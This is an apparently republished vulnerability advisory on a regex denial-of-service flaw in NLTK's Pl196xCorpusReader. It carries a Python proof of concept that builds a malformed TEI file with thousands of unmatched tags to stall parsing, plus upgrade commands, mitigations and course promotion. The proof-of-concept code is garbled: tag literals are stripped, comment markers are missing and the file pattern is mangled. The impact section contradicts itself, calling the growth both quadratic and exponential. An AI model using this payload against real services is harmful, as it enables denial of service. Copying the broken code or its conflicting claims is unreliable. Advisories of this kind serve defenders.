Listen to this Post
NLTK versions before 3.10.3 contain a regular expression denial of service (ReDoS) vulnerability in the `Pl196xCorpusReader` component. The vulnerable code resides in the `nltk.corpus.reader.pl196x.TEICorpusView.read_block` method and is exposed through public reader APIs such as `words()` and tagged_words().
The root cause is the use of inefficient lazy regex patterns (.?) to parse entire TEI (Text Encoding Initiative) blocks. When processing a malformed file containing many unmatched opening tags (e.g., `
` tags) without corresponding closing tags, the regex engine enters a state of catastrophic backtracking. For each opening tag encountered, the lazy regex attempts to scan toward the end of the block to find a match. Since no valid match exists due to the missing closing tags, each attempt fails and then restarts from the next opening tag position. This results in repeated rescans of the same data segments.
Empirical testing demonstrates near-quadratic CPU growth: doubling the number of malformed tags roughly quadruples the processing time. For example, a file with 1,000 malformed tags takes ~0.014s to process, while 8,000 tags takes ~0.927s — a ~66x increase for only an 8x increase in input size. Attackers can exploit this by submitting crafted TEI files through any application that uses NLTK’s `Pl196xCorpusReader` to parse attacker-influenced corpus data. The vulnerability is classified as CWE-400: Uncontrolled Resource Consumption.
DailyCVE Form:
Platform: NLTK
Version: < 3.10.3
Vulnerability: ReDoS
Severity: MEDIUM (CVSS 6.3)
Date: 2026-08-27
Prediction: Patch already available in 3.10.3
What Undercode Say:
Check installed NLTK version python3 -c "import nltk; print(nltk.<strong>version</strong>)" Upgrade to patched version pip install --upgrade nltk>=3.10.3 Verify upgrade python3 -c "import nltk; print(nltk.<strong>version</strong>)"
Exploit: (Educational Purposes!)
import time
from nltk.corpus.reader.pl196x import Pl196xCorpusReader
from nltk.data import find
Create malformed TEI content with many unmatched opening tags
def create_malformed_tei(num_tags):
header = '<?xml version="1.0"?>\n<TEI>\n<text>\n'
tags = ''.join(['
' for _ in range(num_tags)])
footer = '</text>\n</TEI>'
return header + tags + footer
Write to a temporary file
malformed_content = create_malformed_tei(8000)
with open('/tmp/malformed.tei', 'w') as f:
f.write(malformed_content)
Parse and measure time
start = time.time()
reader = Pl196xCorpusReader('/tmp/', r'..tei')
reader.words() or reader.tagged_words()
elapsed = time.time() - start
print(f"Elapsed time: {elapsed:.3f}s")
Protection:
- Upgrade: Immediately upgrade to NLTK version 3.10.3 or later, where the regex patterns have been optimized.
- Input Validation: Validate that TEI blocks are well-formed before passing them to NLTK readers.
- Input Size Limits: Limit the size of inputs processed by `words()` and
tagged_words(). - Timeouts: Set timeouts on text processing operations to mitigate impact.
- WAF/Filtering: Place services behind a web application firewall capable of detecting ReDoS patterns.
- Debian-specific: For Debian trixie, note this is considered a minor issue (
<no-dsa>).
Impact:
A remote or local attacker can induce quadratic CPU consumption on the affected system. Runtime complexity grows exponentially relative to the length and complexity of malformed input. This creates a denial of service condition without requiring authentication if vulnerable API endpoints are exposed publicly. Potential consequences include:
– Excessive computational resource consumption
– System instability or service degradation
– Complete unavailability of NLP services dependent on NLTK
– Parser-thread stalling before the application can determine the input contains no valid content
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

